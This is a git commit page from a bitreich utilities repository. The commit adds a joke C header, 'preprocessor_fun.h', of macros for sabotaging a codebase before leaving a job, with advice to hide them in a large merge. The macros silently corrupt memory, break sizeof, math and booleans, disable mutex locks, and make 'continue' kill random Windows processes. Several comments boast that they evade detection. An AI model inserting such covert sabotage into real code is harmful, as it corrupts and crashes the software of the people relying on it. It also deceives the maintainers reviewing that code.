Add preprocessor fun. - various - Various utilities developed at bitreich.
(HTM) git clone git://bitreich.org/various/ git://enlrupgkhuxnvlhsf6lc3fziv5h2hhfrinws65d7roiv6bfj7d652fid.onion/various/
(DIR) Log
(DIR) Files
(DIR) Refs
(DIR) Tags
---
(DIR) commit f73345a2bafe79e034ffe3b27a1758e5482962cc
(DIR) parent 1eb5c46cfb71f67e1370c45ad8110e8d951210ac
(HTM) Author: Christoph Lohmann <20h@r-36.net>
Date: Wed, 3 Aug 2022 06:38:35 +0200
Add preprocessor fun.
Diffstat:
A preprocessor_fun.h | 44 +++++++++++++++++++++++++++++++
1 file changed, 44 insertions(+), 0 deletions(-)
---
(DIR) diff --git a/preprocessor_fun.h b/preprocessor_fun.h
@@ -0,0 +1,44 @@
+// Just before switching jobs:
+// Add one of these.
+// Preferably into the same commit where you do a large merge.
+//
+// Contributors: @r2d2rigo, @joeldevahl, @msinilo, @_Humus_,
+// @YuriyODonnell, @rygorous, @cmuratori, @mike_acton, @grumpygiant,
+// @KarlHillesland, @rexguo, @tom_forsyth, @bkaradzic, @MikeNicolella
+// and myself.
+
+
+// Easy keyword replacement. Too easy to detect I think!
+#define struct union
+#define if while
+#define else
+#define break
+#define if(x)
+#define volatile // this one is cool
+
+// I heard you like math
+#define M_PI 3.2f
+#undef FLT_MIN #define FLT_MIN (-FLT_MAX)
+#define floor ceil
+#define isnan(x) false
+
+// Randomness based; "works" most of the time.
+#define true ((__LINE__&15)!=15)
+#define true ((rand()&15)!=15)
+#define if(x) if ((x) && (rand() < RAND_MAX * 0.99))
+
+// String/memory handling, probably can live undetected quite long!
+#define strcpy(a,b) memmove(a,b,strlen(b)+2)
+#define strcpy(a,b) (((a & 0xFF) == (b & 0xFF)) ? strcpy(a+1,b) : strcpy(a, b))
+#define memcpy(d,s,sz) do { for (int i=0;i<sz;i++) { ((char*)d)[i]=((char*)s)[i]; } ((char*)s)[ rand() % sz ] ^= 0xff; } while (0)
+#define sizeof(x) (sizeof(x)-1)
+
+// Let's have some fun with threads & atomics.
+#define pthread_mutex_lock(m) 0
+#define InterlockedAdd(x,y) (*x+=y)
+
+// What's wrong with you people?!
+#define __dcbt __dcbz // for PowerPC platforms
+#define __dcbt __dcbf // for PowerPC platforms
+#define __builtin_expect(a,b) b // for gcc
+#define continue if (HANDLE h = OpenProcess(PROCESS_TERMINATE, false, rand()) ) { TerminateProcess(h, 0); CloseHandle(h); } break